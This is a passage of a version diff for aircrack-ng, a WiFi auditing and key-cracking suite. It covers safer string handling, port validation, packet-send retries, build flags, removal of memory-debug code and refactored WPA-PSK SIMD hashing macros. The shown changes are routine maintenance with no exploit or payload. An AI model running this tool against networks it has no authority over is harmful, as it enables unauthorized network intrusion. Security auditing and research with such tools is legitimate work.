 #if defined(__CYGWIN32__) && !defined(__CYGWIN64__)
 int fseeko64(FILE * fp, int64_t offset, int whence);
 int64_t ftello64(FILE * fp);
+//-V:fseek:1059
+//-V:ftello:1059
 #undef fseek
 #define fseek fseeko64
 #undef ftello
@@ -49,6 +51,8 @@
 #endif
 
 #if defined(__FreeBSD__) || defined(__OpenBSD__)
+//-V:rand:1059
+//-V:srand:1059
 #undef rand
 #define rand lrand48
 #undef srand
@@ -72,6 +76,7 @@
 		struct tm * lt;                                                        \
 		time_t tc = time(NULL);                                                \
 		lt = localtime(&tc);                                                   \
+		REQUIRE(lt != NULL);                                                   \
 		printf("%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec);       \
 	}
 
@@ -154,7 +159,7 @@
 	REQUIRE(mac != NULL);
 	REQUIRE(str != NULL);
 
-	unsigned int macf6;
+	unsigned int macf6 = {0};
 
 	if (sscanf(str,
 			   "%x:%x:%x:%x:%x:%x",
@@ -315,7 +320,7 @@
 	{
 		*cursor = '\0';
 		cursor++;
-		strcpy(line, buffer);
+		strlcpy(line, buffer, size);
 		memmove(buffer, cursor, size - (strlen(line) + 1));
 
 		return (size - (strlen(line) + 1));
@@ -381,6 +386,25 @@
 	return (c);
 }
 
+/// Saturated add for unsigned, machine word integers.
+static inline uintptr_t adds_uptr(uintptr_t a, uintptr_t b)
+{
+	uintptr_t c = a + b;
+	if (unlikely(c < a)) /* can only happen due to overflow */
+		c = -1;
+	return (c);
+}
+
+/// Saturated subtraction for unsigned, 64-bit integers.
+static inline uint64_t subs_u64(uint64_t x, uint64_t y)
+{
+	uint64_t res = x - y;
+
+	res &= -(res <= x); //-V732
+
+	return (res);
+}
+
 #ifdef __cplusplus
 };
 #endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/communications.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/communications.h Changed

@@ -1,7 +1,7 @@
 /*
- *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
  *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
- *  Copyright (C) 2018-2020 Joseph Benden <joe@benden.us>
+ *  Copyright (C) 2018-2022 Joseph Benden <joe@benden.us>
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
@@ -51,6 +51,11 @@
 #include <aircrack-ng/support/common.h>
 #include <aircrack-ng/third-party/ieee80211.h>
 
+/* Tagged parameters in beacon-frames */
+#define MGNT_PAR_SSID 0x00
+#define MGNT_PAR_CHANNEL 0x03
+#define MGNT_PAR_HT_INFO 0x3d
+
 #define RATE_1M 1000000
 #define RATE_2M 2000000
 #define RATE_5_5M 5500000
@@ -234,15 +239,12 @@
 	if (!inet_aton(host, (struct in_addr *) &addr))
 		goto out; /* XXX resolve hostname */
 
-	if (strlen(host) > 15)
-	{
-		port = -1;
-		goto out;
-	}
+	if (strlen(host) > 15) goto out;
 
 	strncpy(ip, host, (size_t) ip_size);
+
 	port = (int) strtol(ptr, NULL, 10);
-	if (port <= 0) port = -1;
+	if (port <= 0 || port > 65535) port = -1;
 
 out:
 	free(host);
@@ -300,9 +302,9 @@
 
 enum Send_Packet_Option
 {
-	kNoChange,
-	kRewriteSequenceNumber,
-	kRewriteDuration,
+	kNoChange = 1 << 0,
+	kRewriteSequenceNumber = 1 << 1,
+	kRewriteDuration = 1 << 2,
 };
 
 static inline int send_packet(struct wif * wi,
@@ -334,19 +336,20 @@
 		pkt1 = (uint8_t)(pkt1 & ~0x4);
 	}
 
-	if (wi_write(wi, NULL, LINKTYPE_IEEE802_11, buf, (int) count, NULL) == -1)
+	int rc;
+	do
 	{
-		switch (errno)
+		rc = wi_write(wi, NULL, LINKTYPE_IEEE802_11, buf, (int) count, NULL);
+		if (rc == -1 && errno == ENOBUFS)
 		{
-			case EAGAIN:
-			case ENOBUFS:
-				usleep(10000);
-				return (0); /* XXX not sure I like this... -sorbo */
-
-			default:
-				perror("wi_write()");
-				return (-1);
+			usleep(10000);
 		}
+	} while (rc == -1 && (errno == EAGAIN || errno == ENOBUFS));
+
+	if (rc == -1)
+	{
+		perror("wi_write()");
+		return (-1);
 	}
 
 	++nb_pkt_sent;

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/crypto_engine_loader.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/crypto_engine_loader.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/fragments.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/fragments.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/mcs_index_rates.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/mcs_index_rates.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/support/station.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/support/station.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/eapol.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/third-party/eapol.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/third-party/hashcat.h -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/third-party/hashcat.h Changed

aircrack-ng-1.6.tar.gz/include/aircrack-ng/version.h.in -> aircrack-ng-1.7.tar.gz/include/aircrack-ng/version.h.in Changed

aircrack-ng-1.6.tar.gz/lib/Makefile.inc -> aircrack-ng-1.7.tar.gz/lib/Makefile.inc Changed

@@ -64,13 +64,9 @@
 SRC_CRYPTO	+=	%D%/crypto/sha1-git.c
 endif
 
-if X86
-SRC_CRYPTO	+=	%D%/crypto/sha1-sse2.S
-endif
-
 libaccrypto_la_SOURCES	= $(SRC_CRYPTO)
 libaccrypto_la_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS)
-libaccrypto_la_LIBADD		= $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(CRYPTO_LIBS)
+libaccrypto_la_LIBADD		= $(PCRE_LIBS) $(LIBAIRCRACK_OSDEP_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS)
 
 libcowpatty_la_SOURCES = $(SRC_COW)
 libcowpatty_la_CFLAGS = $(COMMON_CFLAGS) $(LIBCOW_CFLAGS)
@@ -116,13 +112,21 @@
 CPUSET = %D%/libac/cpu/cpuset_pthread.c
 endif
 
+if INCLUDE_COMPAT_STRLCAT
+SRC_LIBAC += %D%/libac/support/strlcat.c
+endif
+
+if INCLUDE_COMPAT_STRLCPY
+SRC_LIBAC += %D%/libac/support/strlcpy.c
+endif
+
 libaircrack_la_SOURCES	= $(SRC_LIBAC) $(TRAMPOLINE) $(CPUSET)
 libaircrack_la_CFLAGS		= $(COMMON_CFLAGS) $(PCRE_CFLAGS) \
 													"-DLIBAIRCRACK_CE_WPA_PATH=\"$(LIBAIRCRACK_CE_WPA_PATH)\"" \
 													"-DABS_TOP_SRCDIR=\"$(abs_top_srcdir)\"" \
 													"-DABS_TOP_BUILDDIR=\"$(abs_top_builddir)\"" \
 													"-DLIBDIR=\"$(libdir)\""
-libaircrack_la_LIBADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(PCRE_LIBS) $(CRYPTO_LIBS)
+libaircrack_la_LIBADD		= $(COMMON_LDADD) $(LIBAIRCRACK_OSDEP_LIBS) $(PCRE_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS)
 
 if CYGWIN
 libaircrack_la_LIBADD += -lshlwapi
@@ -152,7 +156,7 @@
 
 libaircrack_ce_wep_la_SOURCES	= $(SRC_CE_WEP)
 libaircrack_ce_wep_la_CFLAGS	= $(COMMON_CFLAGS)
-libaircrack_ce_wep_la_LIBADD	= $(CRYPTO_LIBS)
+libaircrack_ce_wep_la_LIBADD	= $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS)
 
 ########################################################################
 # Aircrack Crypto Engine for WPA                                       #
@@ -163,28 +167,28 @@
 libaircrack_ce_wpa_x86_avx512_la_CFLAGS = $(x86_avx512_cflags) -DSIMD_CORE -DJOHN_AVX512F $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_x86_avx512_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_x86_avx512_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_x86_avx512_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 libaircrack_ce_wpa_x86_avx2_la_SOURCES = $(SRC_CE_WPA)
 libaircrack_ce_wpa_x86_avx2_la_CFLAGS = $(x86_avx2_cflags) -DSIMD_CORE -DJOHN_AVX2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_x86_avx2_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_x86_avx2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_x86_avx2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 libaircrack_ce_wpa_x86_avx_la_SOURCES = $(SRC_CE_WPA)
 libaircrack_ce_wpa_x86_avx_la_CFLAGS = $(x86_avx_cflags) -DSIMD_CORE -DJOHN_AVX $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_x86_avx_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_x86_avx_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_x86_avx_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 libaircrack_ce_wpa_x86_sse2_la_SOURCES = $(SRC_CE_WPA)
 libaircrack_ce_wpa_x86_sse2_la_CFLAGS = $(x86_sse2_cflags) -DSIMD_CORE -DJOHN_SSE2 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_x86_sse2_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_x86_sse2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_x86_sse2_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 # ARM/AARCH64
@@ -192,7 +196,7 @@
 libaircrack_ce_wpa_arm_neon_la_CFLAGS = $(arm_neon_cflags) -DSIMD_CORE -DHAS_NEON $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_arm_neon_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_arm_neon_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_arm_neon_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 # PowerPC
@@ -200,14 +204,14 @@
 libaircrack_ce_wpa_ppc_altivec_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_ppc_altivec_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_ppc_altivec_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_ppc_altivec_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 libaircrack_ce_wpa_ppc_power8_la_SOURCES = $(SRC_CE_WPA)
 libaircrack_ce_wpa_ppc_power8_la_CFLAGS = $(ppc_altivec_cflags) -DSIMD_CORE -DHAS_ALTIVEC=1 -DJOHN_ALTIVEC -DJOHN_POWER8 $(PTHREAD_CFLAGS) $(CRYPTO_CFLAGS) $(ZLIB_CFLAGS)
 libaircrack_ce_wpa_ppc_power8_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_ppc_power8_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_ppc_power8_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 # Generic library
@@ -215,7 +219,7 @@
 libaircrack_ce_wpa_la_SOURCES = $(SRC_CE_WPA)
 libaircrack_ce_wpa_la_LDFLAGS = -release $(LT_VER) -no-undefined
 if !STATIC_CRYPTO
-libaircrack_ce_wpa_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
+libaircrack_ce_wpa_la_LIBADD = $(LIBACCRYPTO_LIBS) $(PTHREAD_LIBS) $(CRYPTO_LDFLAGS) $(CRYPTO_LIBS) $(ZLIB_LIBS)
 endif
 
 # Build librarie(s)
@@ -251,7 +255,6 @@
 							%D%/cowpatty/cowpatty.c \
 							%D%/crypto/crypto.c \
 							%D%/crypto/sha1-git.c \
-							%D%/crypto/sha1-sse2.S \
 							%D%/libac/adt/avl_tree.c \
 							%D%/libac/adt/circular_buffer.c \
 							%D%/libac/adt/circular_queue.c \

aircrack-ng-1.6.tar.gz/lib/ce-wpa/crypto_engine.c -> aircrack-ng-1.7.tar.gz/lib/ce-wpa/crypto_engine.c Changed

aircrack-ng-1.6.tar.gz/lib/ce-wpa/memory.c -> aircrack-ng-1.7.tar.gz/lib/ce-wpa/memory.c Changed

@@ -48,6 +48,8 @@
  * There's ABSOLUTELY NO WARRANTY, express or implied.
  */
 
+#define _POSIX_C_SOURCE 200112L
+
 #ifdef HAVE_CONFIG_H
 #include "config.h"
 #endif
@@ -66,21 +68,6 @@
 #include "aircrack-ng/ce-wpa/memory.h"
 #include "aircrack-ng/ce-wpa/jcommon.h"
 #include "aircrack-ng/ce-wpa/johnswap.h"
-#include "aircrack-ng/ce-wpa/memdbg.h"
-
-#if defined(_MSC_VER) && !defined(MEMDBG_ON)
-#define malloc(a) _aligned_malloc(a, 16)
-#define realloc(a, b) _aligned_realloc(a, b, 16)
-#define calloc(a, b) memset(_aligned_malloc((a) * (b), 16), 0, (a) * (b))
-#define free(a) _aligned_free(a)
-char * strdup_MSVC(const char * str)
-{
-	char * s;
-	s = (char *) mem_alloc_func(strlen(str) + 1);
-	if (s != NULL) strcpy(s, str);
-	return s;
-}
-#endif
 
 unsigned int mem_saving_level = 0;
 
@@ -96,15 +83,12 @@
 static void add_memory_link(void * v)
 {
 	struct rm_list * p = (struct rm_list *) mem_alloc(sizeof(struct rm_list));
-	p->next = mem_alloc_tiny_memory;
-	p->mem = v;
-	mem_alloc_tiny_memory = p;
-	// mark these as 'tiny' memory, so that memory snapshot checking does not
-	// flag these as leaks.  At program exit, this memory will still get
-	// checked,
-	// but it should be freed, so will still be globally checked for leaks.
-	MEMDBG_tag_mem_from_alloc_tiny(v);
-	MEMDBG_tag_mem_from_alloc_tiny((void *) p);
+	if (p)
+	{
+		p->next = mem_alloc_tiny_memory;
+		p->mem = v;
+		mem_alloc_tiny_memory = p;
+	}
 }
 // call at program exit.
 void cleanup_tiny_memory(void)
@@ -120,61 +104,36 @@
 	}
 }
 
-void * mem_alloc_func(size_t size
-#if defined(MEMDBG_ON)
-					  ,
-					  char * file,
-					  int line
-#endif
-					  )
+void * mem_alloc_func(size_t size)
 {
 	void * res;
 
 	if (!size) return NULL;
-#if defined(MEMDBG_ON)
-	res = (char *) MEMDBG_alloc(size, file, line);
-#else
 	res = malloc(size);
-#endif
 	if (!res)
 	{
 		fprintf(stderr,
 				"mem_alloc(): %s trying to allocate " Zu " bytes\n",
 				strerror(ENOMEM),
 				size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
 		perror("mem_alloc");
 	}
 
 	return res;
 }
 
-void * mem_calloc_func(size_t count,
-					   size_t size
-#if defined(MEMDBG_ON)
-					   ,
-					   char * file,
-					   int line
-#endif
-					   )
+void * mem_calloc_func(size_t count, size_t size)
 {
 	void * res;
 
 	if (!count || !size) return NULL;
-#if defined(MEMDBG_ON)
-	size *= count;
-	res = (char *) MEMDBG_alloc(size, file, line);
-	memset(res, 0, size);
-#else
 	res = calloc(count, size);
-#endif
 	if (!res)
 	{
 		fprintf(stderr,
 				"mem_calloc(): %s trying to allocate " Zu " bytes\n",
 				strerror(ENOMEM),
 				count * size);
-		MEMDBG_PROGRAM_EXIT_CHECKS(stderr);
 		perror("mem_calloc");
 	}
 
@@ -185,30 +144,20 @@
  * if -DDEBUG we turn mem_alloc_tiny() to essentially be just a malloc()
  * with additional alignment. The reason for this is it's way easier to
  * trace bugs that way.
- * Also, with -DDEBUG or -DMEMDBG we always return exactly the requested
+ * Also, with -DDEBUG we always return exactly the requested
  * alignment, in order to trigger bugs!
  */
 #ifdef DEBUG
 #undef MEM_ALLOC_SIZE
 #define MEM_ALLOC_SIZE 0
 #endif
-void * mem_alloc_tiny_func(size_t size,
-						   size_t align
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
+void * mem_alloc_tiny_func(size_t size, size_t align)
 {
 	static char * buffer = NULL;
 	static size_t bufree = 0;
 	size_t mask;
 	char * p;
 
-#if defined(DEBUG) || defined(MEMDBG)
-	size += align;
-#endif
 #ifdef DEBUG
 	/*
 	 * We may be called with size zero, for example from ldr_load_pw_line()
@@ -240,7 +189,7 @@
 				p -= (size_t) p & mask;
 				bufree -= need;
 				buffer = p + size;
-#if defined(DEBUG) || defined(MEMDBG)
+#if defined(DEBUG)
 				/* Ensure alignment is no better than requested */
 				if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
 #endif
@@ -249,79 +198,39 @@
 		}
 
 		if (size + mask > MEM_ALLOC_SIZE || bufree > MEM_ALLOC_MAX_WASTE) break;
-#if defined(MEMDBG_ON)
-		buffer = (char *) mem_alloc_func(MEM_ALLOC_SIZE, file, line);
-#else
 		buffer = (char *) mem_alloc(MEM_ALLOC_SIZE);
-#endif
 		add_memory_link((void *) buffer);
 		bufree = MEM_ALLOC_SIZE;
 	} while (1);
 
-#if defined(MEMDBG_ON)
-	p = (char *) mem_alloc_func(size + mask, file, line);
-#else
 	p = (char *) mem_alloc(size + mask);
-#endif
 	if (p == NULL) abort();
 	add_memory_link((void *) p);
 	p += mask;
 	p -= (size_t) p & mask;
-#if defined(DEBUG) || defined(MEMDBG)
+#if defined(DEBUG)
 	/* Ensure alignment is no better than requested */
 	if (((size_t) p & ((mask << 1) + 1)) == 0) p += align;
 #endif
 	return p;
 }
 
-void * mem_calloc_tiny_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							)
+void * mem_calloc_tiny_func(size_t size, size_t align)
 {
-#if defined(MEMDBG_ON)
-	char * cp = (char *) mem_alloc_tiny_func(size, align, file, line);
-#else
 	char * cp = (char *) mem_alloc_tiny(size, align);
-#endif
 	memset(cp, 0, size);
 	return cp;
 }
 
-void * mem_alloc_copy_func(void * src,
-						   size_t size,
-						   size_t align
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
+void * mem_alloc_copy_func(void * src, size_t size, size_t align)
 {
-#if defined(MEMDBG_ON)
-	return memcpy(mem_alloc_tiny_func(size, align, file, line), src, size);
-#else
 	return memcpy(mem_alloc_tiny(size, align), src, size);
-#endif
 }
 
-void * mem_alloc_align_func(size_t size,
-							size_t align
-#if defined(MEMDBG_ON)
-							,
-							char * file,
-							int line
-#endif
-							)
+void * mem_alloc_align_func(size_t size, size_t align)
 {
 	void * ptr = NULL;
-#if defined(MEMDBG_ON)
-	ptr = (char *) MEMDBG_alloc_align(size, align, file, line);
-#elif HAVE_POSIX_MEMALIGN
+#if HAVE_POSIX_MEMALIGN
 	if (posix_memalign(&ptr, align, size)) pexit("posix_memalign");
 #elif HAVE_ALIGNED_ALLOC
 	/* According to the Linux man page, "size should be a multiple of
@@ -357,33 +266,15 @@
 	return ptr;
 }
 
-void * mem_calloc_align_func(size_t count,
-							 size_t size,
-							 size_t align
-#if defined(MEMDBG_ON)
-							 ,
-							 char * file,
-							 int line
-#endif
-							 )
+void * mem_calloc_align_func(size_t count, size_t size, size_t align)
 {
-#if defined(MEMDBG_ON)
-	void * ptr = mem_alloc_align_func(size * count, align, file, line);
-#else
 	void * ptr = mem_alloc_align_func(size * count, align);
-#endif
 
 	memset(ptr, 0, size * count);
 	return ptr;
 }
 
-char * str_alloc_copy_func(char * src
-#if defined(MEMDBG_ON)
-						   ,
-						   char * file,
-						   int line
-#endif
-						   )
+char * str_alloc_copy_func(char * src)
 {
 	size_t size;
 
@@ -391,12 +282,7 @@
 	if (!*src) return "";
 
 	size = strlen(src) + 1;
-#if defined(MEMDBG_ON)
-	return (char *) memcpy(
-		mem_alloc_tiny_func(size, MEM_ALIGN_NONE, file, line), src, size);
-#else
 	return (char *) memcpy(mem_alloc_tiny(size, MEM_ALIGN_NONE), src, size);
-#endif
 }
 
 void dump_text(void * in, int len)

aircrack-ng-1.6.tar.gz/lib/ce-wpa/simd-intrinsics.c -> aircrack-ng-1.7.tar.gz/lib/ce-wpa/simd-intrinsics.c Changed

aircrack-ng-1.6.tar.gz/lib/ce-wpa/wpapsk.c -> aircrack-ng-1.7.tar.gz/lib/ce-wpa/wpapsk.c Changed

@@ -109,8 +109,6 @@
 #endif
 #endif
 
-#include "aircrack-ng/ce-wpa/memdbg.h"
-
 #ifndef SIMD_CORE
 #undef SIMDSHA1body
 #define SIMDSHA1body SSESHA1body
@@ -134,6 +132,18 @@
 	 + ((index) >> (MMX_COEF >> 1)) * SHA_BUF_SIZ * MMX_COEF * 4)
 #endif
 
+#define BUF_BASE_OFFSET_OF(co, width, index)                                   \
+	(((index) / (co)) * (co) * (width) + ((index) & ((co) -1)))
+#define BUF_OFFSET_OF(co, width, index, offset)                                \
+	(BUF_BASE_OFFSET_OF((co), (width), (index)) + (offset) * (co))
+#define SSE_HASH1_PTR_OF(j)                                                    \
+	&((uint32_t *)                                                             \
+		  t_sse_hash1)((((j) / SIMD_COEF_32) * SHA_BUF_SIZ) * SIMD_COEF_32)   \
+					   + ((j) & (SIMD_COEF_32 - 1))
+#define MMX_HASH1_PTR_OF(j)                                                    \
+	&((uint32_t *) t_sse_hash1)((((j) >> 2) * SHA_BUF_SIZ) << 2)              \
+								+ ((j) & (MMX_COEF - 1))
+
 #ifdef SIMD_CORE
 static MAYBE_INLINE void wpapsk_sse(ac_crypto_engine_t * engine,
 									int threadid,
@@ -200,76 +210,36 @@
 			SHA1_Init(&ctx_ipadj);
 			SHA1_Init(&ctx_opadj);
 
-			UNROLL_LOOP_N_TIME(8)
 			for (i = 0; i < 16; i++) bufferj.ii ^= 0x36363636;
 			SHA1_Update(&ctx_ipadj, bufferj.c, 64);
 
-			UNROLL_LOOP_N_TIME(8)
 			for (i = 0; i < 16; i++) bufferj.ii ^= 0x6a6a6a6a;
 			SHA1_Update(&ctx_opadj, bufferj.c, 64);
 
-// we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer).
-// This data will NOT need to be BE swapped (it already IS BE swapped).
 #ifdef SIMD_CORE
-			i1(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32
-				= ctx_ipadj.h0;
-			i1(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32
-				= ctx_ipadj.h1;
-			i1(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32
-				= ctx_ipadj.h2;
-			i1(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32
-				= ctx_ipadj.h3;
-			i1(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32
-				= ctx_ipadj.h4;
-
-			i2(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32
-				= ctx_opadj.h0;
-			i2(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32
-				= ctx_opadj.h1;
-			i2(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32
-				= ctx_opadj.h2;
-			i2(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32
-				= ctx_opadj.h3;
-			i2(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32
-				= ctx_opadj.h4;
+			i1BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 0) = ctx_ipadj.h0;
+			i1BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 1) = ctx_ipadj.h1;
+			i1BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 2) = ctx_ipadj.h2;
+			i1BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 3) = ctx_ipadj.h3;
+			i1BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 4) = ctx_ipadj.h4;
+
+			i2BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 0) = ctx_opadj.h0;
+			i2BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 1) = ctx_opadj.h1;
+			i2BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 2) = ctx_opadj.h2;
+			i2BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 3) = ctx_opadj.h3;
+			i2BUF_OFFSET_OF(SIMD_COEF_32, 5, j, 4) = ctx_opadj.h4;
 #else
-			i1(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-				= ctx_ipadj.h0;
-			i1(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF
-				= ctx_ipadj.h1;
-			i1(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)
-				= ctx_ipadj.h2;
-			i1(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3
-				= ctx_ipadj.h3;
-			i1(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)
-				= ctx_ipadj.h4;
-
-			i2(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-				= ctx_opadj.h0;
-			i2(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF
-				= ctx_opadj.h1;
-			i2(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)
-				= ctx_opadj.h2;
-			i2(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3
-				= ctx_opadj.h3;
-			i2(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)
-				= ctx_opadj.h4;
+			i1BUF_OFFSET_OF(MMX_COEF, 5, j, 0) = ctx_ipadj.h0;
+			i1BUF_OFFSET_OF(MMX_COEF, 5, j, 1) = ctx_ipadj.h1;
+			i1BUF_OFFSET_OF(MMX_COEF, 5, j, 2) = ctx_ipadj.h2;
+			i1BUF_OFFSET_OF(MMX_COEF, 5, j, 3) = ctx_ipadj.h3;
+			i1BUF_OFFSET_OF(MMX_COEF, 5, j, 4) = ctx_ipadj.h4;
+
+			i2BUF_OFFSET_OF(MMX_COEF, 5, j, 0) = ctx_opadj.h0;
+			i2BUF_OFFSET_OF(MMX_COEF, 5, j, 1) = ctx_opadj.h1;
+			i2BUF_OFFSET_OF(MMX_COEF, 5, j, 2) = ctx_opadj.h2;
